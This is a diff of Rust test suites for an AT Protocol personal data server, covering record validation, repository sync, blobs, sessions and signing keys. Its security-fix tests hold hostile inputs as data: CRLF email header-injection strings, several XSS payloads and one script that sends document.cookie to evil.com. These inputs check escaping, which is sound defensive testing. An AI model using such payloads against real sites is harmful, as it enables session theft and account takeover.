     let result = validator.validate(&profile, "app.bsky.actor.profile");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "description"));
 }
+
 #[test]
 fn test_validate_like_valid() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&like, "app.bsky.feed.like");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_like_missing_subject() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&like, "app.bsky.feed.like");
     assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "subject"));
 }
+
 #[test]
 fn test_validate_like_missing_subject_uri() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&like, "app.bsky.feed.like");
     assert!(matches!(result, Err(ValidationError::MissingField(f)) if f.contains("uri")));
 }
+
 #[test]
 fn test_validate_like_invalid_subject_uri() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&like, "app.bsky.feed.like");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path.contains("uri")));
 }
+
 #[test]
 fn test_validate_repost_valid() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&repost, "app.bsky.feed.repost");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_repost_missing_subject() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&repost, "app.bsky.feed.repost");
     assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "subject"));
 }
+
 #[test]
 fn test_validate_follow_valid() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&follow, "app.bsky.graph.follow");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_follow_missing_subject() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&follow, "app.bsky.graph.follow");
     assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "subject"));
 }
+
 #[test]
 fn test_validate_follow_invalid_subject() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&follow, "app.bsky.graph.follow");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "subject"));
 }
+
 #[test]
 fn test_validate_block_valid() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&block, "app.bsky.graph.block");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_block_invalid_subject() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&block, "app.bsky.graph.block");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "subject"));
 }
+
 #[test]
 fn test_validate_list_valid() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&list, "app.bsky.graph.list");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_list_name_too_long() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&list, "app.bsky.graph.list");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "name"));
 }
+
 #[test]
 fn test_validate_list_empty_name() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&list, "app.bsky.graph.list");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "name"));
 }
+
 #[test]
 fn test_validate_feed_generator_valid() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&generator, "app.bsky.feed.generator");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_feed_generator_displayname_too_long() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&generator, "app.bsky.feed.generator");
     assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "displayName"));
 }
+
 #[test]
 fn test_validate_unknown_type_returns_unknown() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&custom, "com.custom.record");
     assert_eq!(result.unwrap(), ValidationStatus::Unknown);
 }
+
 #[test]
 fn test_validate_unknown_type_strict_rejects() {
     let validator = RecordValidator::new().require_lexicon(true);
···
     let result = validator.validate(&custom, "com.custom.record");
     assert!(matches!(result, Err(ValidationError::UnknownType(_))));
 }
+
 #[test]
 fn test_validate_type_mismatch() {
     let validator = RecordValidator::new();
···
     assert!(matches!(result, Err(ValidationError::TypeMismatch { expected, actual })
         if expected == "app.bsky.feed.post" && actual == "app.bsky.feed.like"));
 }
+
 #[test]
 fn test_validate_missing_type() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&record, "app.bsky.feed.post");
     assert!(matches!(result, Err(ValidationError::MissingType)));
 }
+
 #[test]
 fn test_validate_not_object() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&record, "app.bsky.feed.post");
     assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
 }
+
 #[test]
 fn test_validate_datetime_format_valid() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_datetime_with_offset() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_datetime_invalid_format() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&post, "app.bsky.feed.post");
     assert!(matches!(result, Err(ValidationError::InvalidDatetime { .. })));
 }
+
 #[test]
 fn test_validate_record_key_valid() {
     assert!(validate_record_key("3k2n5j2").is_ok());
···
     assert!(validate_record_key("valid~key").is_ok());
     assert!(validate_record_key("self").is_ok());
 }
+
 #[test]
 fn test_validate_record_key_empty() {
     let result = validate_record_key("");
     assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
 }
+
 #[test]
 fn test_validate_record_key_dot() {
     assert!(validate_record_key(".").is_err());
     assert!(validate_record_key("..").is_err());
 }
+
 #[test]
 fn test_validate_record_key_invalid_chars() {
     assert!(validate_record_key("invalid/key").is_err());
···
     assert!(validate_record_key("invalid@key").is_err());
     assert!(validate_record_key("invalid#key").is_err());
 }
+
 #[test]
 fn test_validate_record_key_too_long() {
     let long_key = "k".repeat(513);
     let result = validate_record_key(&long_key);
     assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
 }
+
 #[test]
 fn test_validate_record_key_at_max_length() {
     let max_key = "k".repeat(512);
     assert!(validate_record_key(&max_key).is_ok());
 }
+
 #[test]
 fn test_validate_collection_nsid_valid() {
     assert!(validate_collection_nsid("app.bsky.feed.post").is_ok());
···
     assert!(validate_collection_nsid("a.b.c").is_ok());
     assert!(validate_collection_nsid("my-app.domain.record-type").is_ok());
 }
+
 #[test]
 fn test_validate_collection_nsid_empty() {
     let result = validate_collection_nsid("");
     assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
 }
+
 #[test]
 fn test_validate_collection_nsid_too_few_segments() {
     assert!(validate_collection_nsid("a").is_err());
     assert!(validate_collection_nsid("a.b").is_err());
 }
+
 #[test]
 fn test_validate_collection_nsid_empty_segment() {
     assert!(validate_collection_nsid("a..b.c").is_err());
     assert!(validate_collection_nsid(".a.b.c").is_err());
     assert!(validate_collection_nsid("a.b.c.").is_err());
 }
+
 #[test]
 fn test_validate_collection_nsid_invalid_chars() {
     assert!(validate_collection_nsid("a.b.c/d").is_err());
     assert!(validate_collection_nsid("a.b.c_d").is_err());
     assert!(validate_collection_nsid("a.b.c@d").is_err());
 }
+
 #[test]
 fn test_validate_threadgate() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&gate, "app.bsky.feed.threadgate");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_labeler_service() {
     let validator = RecordValidator::new();
···
     let result = validator.validate(&labeler, "app.bsky.labeler.service");
     assert_eq!(result.unwrap(), ValidationStatus::Valid);
 }
+
 #[test]
 fn test_validate_list_item() {
     let validator = RecordValidator::new();

tests/repo_batch.rs

···
 use chrono::Utc;
 use reqwest::StatusCode;
 use serde_json::{Value, json};
+
 #[tokio::test]
 async fn test_apply_writes_create() {
     let client = client();
···
     assert!(results[0]["uri"].is_string());
     assert!(results[0]["cid"].is_string());
 }
+
 #[tokio::test]
 async fn test_apply_writes_update() {
     let client = client();
···
     assert_eq!(results.len(), 1);
     assert!(results[0]["uri"].is_string());
 }
+
 #[tokio::test]
 async fn test_apply_writes_delete() {
     let client = client();
···
         .expect("Failed to verify");
     assert_eq!(get_res.status(), StatusCode::NOT_FOUND);
 }
+
 #[tokio::test]
 async fn test_apply_writes_mixed_operations() {
     let client = client();
···
     let results = body["results"].as_array().unwrap();
     assert_eq!(results.len(), 3);
 }
+
 #[tokio::test]
 async fn test_apply_writes_no_auth() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_apply_writes_empty_writes() {
     let client = client();

tests/repo_blob.rs

···
 use common::*;
 use reqwest::{StatusCode, header};
 use serde_json::Value;
+
 #[tokio::test]
 async fn test_upload_blob_no_auth() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "AuthenticationRequired");
 }
+
 #[tokio::test]
 async fn test_upload_blob_success() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert!(body["blob"]["ref"]["$link"].as_str().is_some());
 }
+
 #[tokio::test]
 async fn test_upload_blob_bad_token() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "AuthenticationFailed");
 }
+
 #[tokio::test]
 async fn test_upload_blob_unsupported_mime_type() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::OK);
 }
+
 #[tokio::test]
 async fn test_list_missing_blobs() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert!(body["blobs"].is_array());
 }
+
 #[tokio::test]
 async fn test_list_missing_blobs_no_auth() {
     let client = client();

tests/security_fixes.rs

···
 };
 use bspds::oauth::templates::{login_page, error_page, success_page};
 use bspds::image::{ImageProcessor, ImageError};
+
 #[test]
 fn test_sanitize_header_value_removes_crlf() {
     let malicious = "Injected\r\nBcc: [e-mail]";
···
     assert!(sanitized.contains("Injected"), "Original content should be preserved");
     assert!(sanitized.contains("Bcc:"), "Text after newline should be on same line (no header injection)");
 }
+
 #[test]
 fn test_sanitize_header_value_preserves_content() {
     let normal = "Normal Subject Line";
     let sanitized = sanitize_header_value(normal);
     assert_eq!(sanitized, "Normal Subject Line");
 }
+
 #[test]
 fn test_sanitize_header_value_trims_whitespace() {
     let padded = "  Subject  ";
     let sanitized = sanitize_header_value(padded);
     assert_eq!(sanitized, "Subject");
 }
+
 #[test]
 fn test_sanitize_header_value_handles_multiple_newlines() {
     let input = "Line1\r\nLine2\nLine3\rLine4";
···
     assert!(sanitized.contains("Line1"), "Content before newlines preserved");
     assert!(sanitized.contains("Line4"), "Content after newlines preserved");
 }
+
 #[test]
 fn test_email_header_injection_sanitization() {
     let header_injection = "Normal Subject\r\nBcc: [e-mail]\r\nX-Injected: value";
···
     assert!(sanitized.contains("Bcc:"), "Content after CRLF preserved as same line text");
     assert!(sanitized.contains("X-Injected:"), "All content on same line");
 }
+
 #[test]
 fn test_valid_phone_number_accepts_correct_format() {
     assert!(is_valid_phone_number("[phone]"));
···
     assert!(is_valid_phone_number("[phone]"));
     assert!(is_valid_phone_number("+1"));
 }
+
 #[test]
 fn test_valid_phone_number_rejects_missing_plus() {
     assert!(!is_valid_phone_number("1234567890"));
     assert!(!is_valid_phone_number("12025551234"));
 }
+
 #[test]
 fn test_valid_phone_number_rejects_empty() {
     assert!(!is_valid_phone_number(""));
 }
+
 #[test]
 fn test_valid_phone_number_rejects_just_plus() {
     assert!(!is_valid_phone_number("+"));
 }
+
 #[test]
 fn test_valid_phone_number_rejects_too_long() {
     assert!(!is_valid_phone_number("+12345678901234567890123"));
 }
+
 #[test]
 fn test_valid_phone_number_rejects_letters() {
     assert!(!is_valid_phone_number("+abc123"));
     assert!(!is_valid_phone_number("+1234abc"));
     assert!(!is_valid_phone_number("+a"));
 }
+
 #[test]
 fn test_valid_phone_number_rejects_spaces() {
     assert!(!is_valid_phone_number("[phone]"));
     assert!(!is_valid_phone_number("+ 1234567890"));
     assert!(!is_valid_phone_number("+1 "));
 }
+
 #[test]
 fn test_valid_phone_number_rejects_special_chars() {
     assert!(!is_valid_phone_number("[phone]"));
     assert!(!is_valid_phone_number("[phone]"));
     assert!(!is_valid_phone_number("+1.234.567.890"));
 }
+
 #[test]
 fn test_signal_recipient_command_injection_blocked() {
     let malicious_inputs = vec![
···
         assert!(!is_valid_phone_number(input), "Malicious input '{}' should be rejected", input);
     }
 }
+
 #[test]
 fn test_image_file_size_limit_enforced() {
     let processor = ImageProcessor::new();
···
         Ok(_) => panic!("Should reject files over size limit"),
     }
 }
+
 #[test]
 fn test_image_file_size_limit_configurable() {
     let processor = ImageProcessor::new().with_max_file_size(1024);
···
     let result = processor.process(&data, "image/jpeg");
     assert!(result.is_err(), "Should reject files over configured limit");
 }
+
 #[test]
 fn test_oauth_template_xss_escaping_client_id() {
     let malicious_client_id = "<script>alert('xss')</script>";
···
     assert!(!html.contains("<script>"), "Script tags should be escaped");
     assert!(html.contains("&lt;script&gt;"), "HTML entities should be used for escaping");
 }
+
 #[test]
 fn test_oauth_template_xss_escaping_client_name() {
     let malicious_client_name = "<img src=x onerror=alert('xss')>";
···
     assert!(!html.contains("<img "), "IMG tags should be escaped");
     assert!(html.contains("&lt;img"), "IMG tag should be escaped as HTML entity");
 }
+
 #[test]
 fn test_oauth_template_xss_escaping_scope() {
     let malicious_scope = "\"><script>alert('xss')</script>";
     let html = login_page("client123", None, Some(malicious_scope), "test-uri", None, None);
     assert!(!html.contains("<script>"), "Script tags in scope should be escaped");
 }
+
 #[test]
 fn test_oauth_template_xss_escaping_error_message() {
     let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>";
     let html = login_page("client123", None, None, "test-uri", Some(malicious_error), None);
     assert!(!html.contains("<script>"), "Script tags in error should be escaped");
 }
+
 #[test]
 fn test_oauth_template_xss_escaping_login_hint() {
     let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\"";
···
     assert!(!html.contains("onfocus=\"alert"), "Event handlers should be escaped in login hint");
     assert!(html.contains("&quot;"), "Quotes should be escaped");
 }
+
 #[test]
 fn test_oauth_template_xss_escaping_request_uri() {
     let malicious_uri = "\" onmouseover=\"alert('xss')\"";
     let html = login_page("client123", None, None, malicious_uri, None, None);
     assert!(!html.contains("onmouseover=\"alert"), "Event handlers should be escaped in request_uri");
 }
+
 #[test]
 fn test_oauth_error_page_xss_escaping() {
     let malicious_error = "<script>steal()</script>";
···
     assert!(!html.contains("<script>"), "Script tags should be escaped in error page");
     assert!(!html.contains("<img "), "IMG tags should be escaped in error page");
 }
+
 #[test]
 fn test_oauth_success_page_xss_escaping() {
     let malicious_name = "<script>steal_session()</script>";
     let html = success_page(Some(malicious_name));
     assert!(!html.contains("<script>"), "Script tags should be escaped in success page");
 }
+
 #[test]
 fn test_oauth_template_no_javascript_urls() {
     let html = login_page("client123", None, None, "test-uri", None, None);
···
     let success_html = success_page(None);
     assert!(!success_html.contains("javascript:"), "Success page should not contain javascript: URLs");
 }
+
 #[test]
 fn test_oauth_template_form_action_safe() {
     let malicious_uri = "javascript:alert('xss')//";
     let html = login_page("client123", None, None, malicious_uri, None, None);
     assert!(html.contains("action=\"/oauth/authorize\""), "Form action should be fixed URL");
 }
+
 #[test]
 fn test_send_error_types_have_display() {
     let timeout = SendError::Timeout;
···
     assert!(!format!("{}", max_retries).is_empty());
     assert!(!format!("{}", invalid_recipient).is_empty());
 }
+
 #[test]
 fn test_send_error_timeout_message() {
     let error = SendError::Timeout;
     let msg = format!("{}", error);
     assert!(msg.to_lowercase().contains("timeout"), "Timeout error should mention timeout");
 }
+
 #[test]
 fn test_send_error_max_retries_includes_detail() {
     let error = SendError::MaxRetriesExceeded("Server returned 503".to_string());
     let msg = format!("{}", error);
     assert!(msg.contains("503") || msg.contains("retries"), "MaxRetriesExceeded should include context");
 }
+
 #[tokio::test]
 async fn test_check_signup_queue_accepts_session_jwt() {
     use common::{base_url, client, create_account_and_login};
···
     let body: serde_json::Value = res.json().await.unwrap();
     assert_eq!(body["activated"], true);
 }
+
 #[tokio::test]
 async fn test_check_signup_queue_no_auth() {
     use common::{base_url, client};
···
     let body: serde_json::Value = res.json().await.unwrap();
     assert_eq!(body["activated"], true);
 }
+
 #[test]
 fn test_html_escape_ampersand() {
     let html = login_page("client&test", None, None, "test-uri", None, None);
     assert!(html.contains("&amp;"), "Ampersand should be escaped");
     assert!(!html.contains("client&test"), "Raw ampersand should not appear in output");
 }
+
 #[test]
 fn test_html_escape_quotes() {
     let html = login_page("client\"test'more", None, None, "test-uri", None, None);
     assert!(html.contains("&quot;") || html.contains("&#34;"), "Double quotes should be escaped");
     assert!(html.contains("&#39;") || html.contains("&apos;"), "Single quotes should be escaped");
 }
+
 #[test]
 fn test_html_escape_angle_brackets() {
     let html = login_page("client<test>more", None, None, "test-uri", None, None);
···
     assert!(html.contains("&gt;"), "Greater than should be escaped");
     assert!(!html.contains("<test>"), "Raw angle brackets should not appear");
 }
+
 #[test]
 fn test_oauth_template_preserves_safe_content() {
     let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"), "valid-uri", None, Some("[e-mail]"));
···
     assert!(html.contains("read write") || html.contains("read"), "Scope should be preserved");
     assert!(html.contains("[e-mail]"), "Login hint should be preserved");
 }
+
 #[test]
 fn test_csrf_like_input_value_protection() {
     let malicious = "\" onclick=\"alert('csrf')";
     let html = login_page("client", None, None, malicious, None, None);
     assert!(!html.contains("onclick=\"alert"), "Event handlers should not be executable");
 }
+
 #[test]
 fn test_unicode_handling_in_templates() {
     let unicode_client = "客户端 クライアント";
     let html = login_page(unicode_client, None, None, "test-uri", None, None);
     assert!(html.contains("客户端") || html.contains("&#"), "Unicode should be preserved or encoded");
 }
+
 #[test]
 fn test_null_byte_in_input() {
     let with_null = "client\0id";
     let sanitized = sanitize_header_value(with_null);
     assert!(sanitized.contains("client"), "Content before null should be preserved");
 }
+
 #[test]
 fn test_very_long_input_handling() {
     let long_input = "x".repeat(10000);

tests/server.rs

···
 use helpers::verify_new_account;
 use reqwest::StatusCode;
 use serde_json::{Value, json};
+
 #[tokio::test]
 async fn test_health() {
     let client = client();
···
     assert_eq!(res.status(), StatusCode::OK);
     assert_eq!(res.text().await.unwrap(), "OK");
 }
+
 #[tokio::test]
 async fn test_describe_server() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert!(body.get("availableUserDomains").is_some());
 }
+
 #[tokio::test]
 async fn test_create_session() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert!(body.get("accessJwt").is_some());
 }
+
 #[tokio::test]
 async fn test_create_session_missing_identifier() {
     let client = client();
···
         res.status()
     );
 }
+
 #[tokio::test]
 async fn test_create_account_invalid_handle() {
     let client = client();
···
         "Expected 400 for invalid handle chars"
     );
 }
+
 #[tokio::test]
 async fn test_get_session() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_refresh_session() {
     let client = client();
···
     assert_ne!(body["accessJwt"].as_str().unwrap(), access_jwt);
     assert_ne!(body["refreshJwt"].as_str().unwrap(), refresh_jwt);
 }
+
 #[tokio::test]
 async fn test_delete_session() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_get_service_auth_success() {
     let client = client();
···
     assert_eq!(claims["sub"], did);
     assert_eq!(claims["aud"], "did:web:example.com");
 }
+
 #[tokio::test]
 async fn test_get_service_auth_with_lxm() {
     let client = client();
···
     assert_eq!(claims["iss"], did);
     assert_eq!(claims["lxm"], "com.atproto.repo.getRecord");
 }
+
 #[tokio::test]
 async fn test_get_service_auth_no_auth() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "AuthenticationRequired");
 }
+
 #[tokio::test]
 async fn test_get_service_auth_missing_aud() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::BAD_REQUEST);
 }
+
 #[tokio::test]
 async fn test_check_account_status_success() {
     let client = client();
···
     assert!(body["repoRev"].is_string());
     assert!(body["indexedRecords"].is_number());
 }
+
 #[tokio::test]
 async fn test_check_account_status_no_auth() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "AuthenticationRequired");
 }
+
 #[tokio::test]
 async fn test_activate_account_success() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::OK);
 }
+
 #[tokio::test]
 async fn test_activate_account_no_auth() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
 }
+
 #[tokio::test]
 async fn test_deactivate_account_success() {
     let client = client();

tests/signing_key.rs

···
 use serde_json::{json, Value};
 use sqlx::PgPool;
 use helpers::verify_new_account;
+
 async fn get_pool() -> PgPool {
     let conn_str = common::get_db_connection_string().await;
     sqlx::postgres::PgPoolOptions::new()
···
         .await
         .expect("Failed to connect to test database")
 }
+
 #[tokio::test]
 async fn test_reserve_signing_key_without_did() {
     let client = common::client();
···
         "Signing key should be in did:key format with multibase prefix"
     );
 }
+
 #[tokio::test]
 async fn test_reserve_signing_key_with_did() {
     let client = common::client();
···
     assert_eq!(row.did.as_deref(), Some(target_did));
     assert_eq!(row.public_key_did_key, signing_key);
 }
+
 #[tokio::test]
 async fn test_reserve_signing_key_stores_private_key() {
     let client = common::client();
···
     assert!(row.used_at.is_none(), "Reserved key should not be marked as used yet");
     assert!(row.expires_at > chrono::Utc::now(), "Key should expire in the future");
 }
+
 #[tokio::test]
 async fn test_reserve_signing_key_unique_keys() {
     let client = common::client();
···
     let key2 = body2["signingKey"].as_str().unwrap();
     assert_ne!(key1, key2, "Each call should generate a unique signing key");
 }
+
 #[tokio::test]
 async fn test_reserve_signing_key_is_public() {
     let client = common::client();
···
         "reserveSigningKey should work without authentication"
     );
 }
+
 #[tokio::test]
 async fn test_create_account_with_reserved_signing_key() {
     let client = common::client();
···
         "Reserved key should be marked as used"
     );
 }
+
 #[tokio::test]
 async fn test_create_account_with_invalid_signing_key() {
     let client = common::client();
···
     let body: Value = res.json().await.unwrap();
     assert_eq!(body["error"], "InvalidSigningKey");
 }
+
 #[tokio::test]
 async fn test_create_account_cannot_reuse_signing_key() {
     let client = common::client();
···
         .unwrap()
         .contains("already used"));
 }
+
 #[tokio::test]
 async fn test_reserved_key_tokens_work() {
     let client = common::client();

tests/sync_blob.rs

···
 use reqwest::StatusCode;
 use reqwest::header;
 use serde_json::Value;
+
 #[tokio::test]
 async fn test_list_blobs_success() {
     let client = client();
···
     let cids = body["cids"].as_array().unwrap();
     assert!(!cids.is_empty());
 }
+
 #[tokio::test]
 async fn test_list_blobs_not_found() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "RepoNotFound");
 }
+
 #[tokio::test]
 async fn test_get_blob_success() {
     let client = client();
···
     let body = res.text().await.expect("Failed to get body");
     assert_eq!(body, blob_content);
 }
+
 #[tokio::test]
 async fn test_get_blob_not_found() {
     let client = client();

tests/sync_deprecated.rs

···
 use helpers::*;
 use reqwest::StatusCode;
 use serde_json::Value;
+
 #[tokio::test]
 async fn test_get_head_success() {
     let client = client();
···
     let root = body["root"].as_str().unwrap();
     assert!(root.starts_with("bafy"), "Root CID should be a CID");
 }
+
 #[tokio::test]
 async fn test_get_head_not_found() {
     let client = client();
···
     assert_eq!(body["error"], "HeadNotFound");
     assert!(body["message"].as_str().unwrap().contains("Could not find root"));
 }
+
 #[tokio::test]
 async fn test_get_head_missing_param() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::BAD_REQUEST);
 }
+
 #[tokio::test]
 async fn test_get_head_empty_did() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "InvalidRequest");
 }
+
 #[tokio::test]
 async fn test_get_head_whitespace_did() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::BAD_REQUEST);
 }
+
 #[tokio::test]
 async fn test_get_head_changes_after_record_create() {
     let client = client();
···
     let head2 = body2["root"].as_str().unwrap().to_string();
     assert_ne!(head1, head2, "Head CID should change after record creation");
 }
+
 #[tokio::test]
 async fn test_get_checkout_success() {
     let client = client();
···
     assert!(!body.is_empty(), "CAR file should not be empty");
     assert!(body.len() > 50, "CAR file should contain actual data");
 }
+
 #[tokio::test]
 async fn test_get_checkout_not_found() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "RepoNotFound");
 }
+
 #[tokio::test]
 async fn test_get_checkout_missing_param() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::BAD_REQUEST);
 }
+
 #[tokio::test]
 async fn test_get_checkout_empty_did() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::BAD_REQUEST);
 }
+
 #[tokio::test]
 async fn test_get_checkout_empty_repo() {
     let client = client();
···
     let body = res.bytes().await.expect("Failed to get body");
     assert!(!body.is_empty(), "Even empty repo should return CAR header");
 }
+
 #[tokio::test]
 async fn test_get_checkout_includes_multiple_records() {
     let client = client();
···
     let body = res.bytes().await.expect("Failed to get body");
     assert!(body.len() > 500, "CAR file with 5 records should be larger");
 }
+
 #[tokio::test]
 async fn test_get_head_matches_latest_commit() {
     let client = client();
···
     let latest_cid = latest_body["cid"].as_str().unwrap();
     assert_eq!(head_root, latest_cid, "getHead root should match getLatestCommit cid");
 }
+
 #[tokio::test]
 async fn test_get_checkout_car_header_valid() {
     let client = client();

tests/sync_repo.rs

···
 use reqwest::StatusCode;
 use reqwest::header;
 use serde_json::{Value, json};
+
 #[tokio::test]
 async fn test_get_latest_commit_success() {
     let client = client();
···
     assert!(body["cid"].is_string());
     assert!(body["rev"].is_string());
 }
+
 #[tokio::test]
 async fn test_get_latest_commit_not_found() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "RepoNotFound");
 }
+
 #[tokio::test]
 async fn test_get_latest_commit_missing_param() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::BAD_REQUEST);
 }
+
 #[tokio::test]
 async fn test_list_repos() {
     let client = client();
···
     assert!(repo["head"].is_string());
     assert!(repo["active"].is_boolean());
 }
+
 #[tokio::test]
 async fn test_list_repos_with_limit() {
     let client = client();
···
     let repos = body["repos"].as_array().unwrap();
     assert!(repos.len() <= 2);
 }
+
 #[tokio::test]
 async fn test_list_repos_pagination() {
     let client = client();
···
         assert_ne!(repos[0]["did"], repos2[0]["did"]);
     }
 }
+
 #[tokio::test]
 async fn test_get_repo_status_success() {
     let client = client();
···
     assert_eq!(body["active"], true);
     assert!(body["rev"].is_string());
 }
+
 #[tokio::test]
 async fn test_get_repo_status_not_found() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "RepoNotFound");
 }
+
 #[tokio::test]
 async fn test_notify_of_update() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::OK);
 }
+
 #[tokio::test]
 async fn test_request_crawl() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::OK);
 }
+
 #[tokio::test]
 async fn test_get_repo_success() {
     let client = client();
···
     let body = res.bytes().await.expect("Failed to get body");
     assert!(!body.is_empty());
 }
+
 #[tokio::test]
 async fn test_get_repo_not_found() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "RepoNotFound");
 }
+
 #[tokio::test]
 async fn test_get_record_sync_success() {
     let client = client();
···
     let body = res.bytes().await.expect("Failed to get body");
     assert!(!body.is_empty());
 }
+
 #[tokio::test]
 async fn test_get_record_sync_not_found() {
     let client = client();
···
     let body: Value = res.json().await.expect("Response was not valid JSON");
     assert_eq!(body["error"], "RecordNotFound");
 }
+
 #[tokio::test]
 async fn test_get_blocks_success() {
     let client = client();
···
         Some("application/vnd.ipld.car")
     );
 }
+
 #[tokio::test]
 async fn test_get_blocks_not_found() {
     let client = client();
···
         .expect("Failed to send request");
     assert_eq!(res.status(), StatusCode::NOT_FOUND);
 }
+
 #[tokio::test]
 async fn test_sync_record_lifecycle() {
     let client = client();
···
         "Second post should still be accessible"
     );
 }
+
 #[tokio::test]
 async fn test_sync_repo_export_lifecycle() {
     let client = client();

tests/verify_live_commit.rs

···
 use std::collections::HashMap;
 use std::str::FromStr;
 mod common;
+
 #[tokio::test]
 async fn test_verify_live_commit() {
     let client = reqwest::Client::new();
···
         }
     }
 }
+
 fn commit_unsigned_bytes(commit: &jacquard_repo::commit::Commit<'_>) -> Vec<u8> {
     #[derive(serde::Serialize)]
     struct UnsignedCommit<'a> {
···
     };
     serde_ipld_dagcbor::to_vec(&unsigned).unwrap()
 }
+
 fn parse_car(cursor: &mut std::io::Cursor<&[u8]>) -> Result<(Vec<Cid>, HashMap<Cid, Bytes>), Box<dyn std::error::Error>> {
     use std::io::Read;
     fn read_varint<R: Read>(r: &mut R) -> std::io::Result<u64> {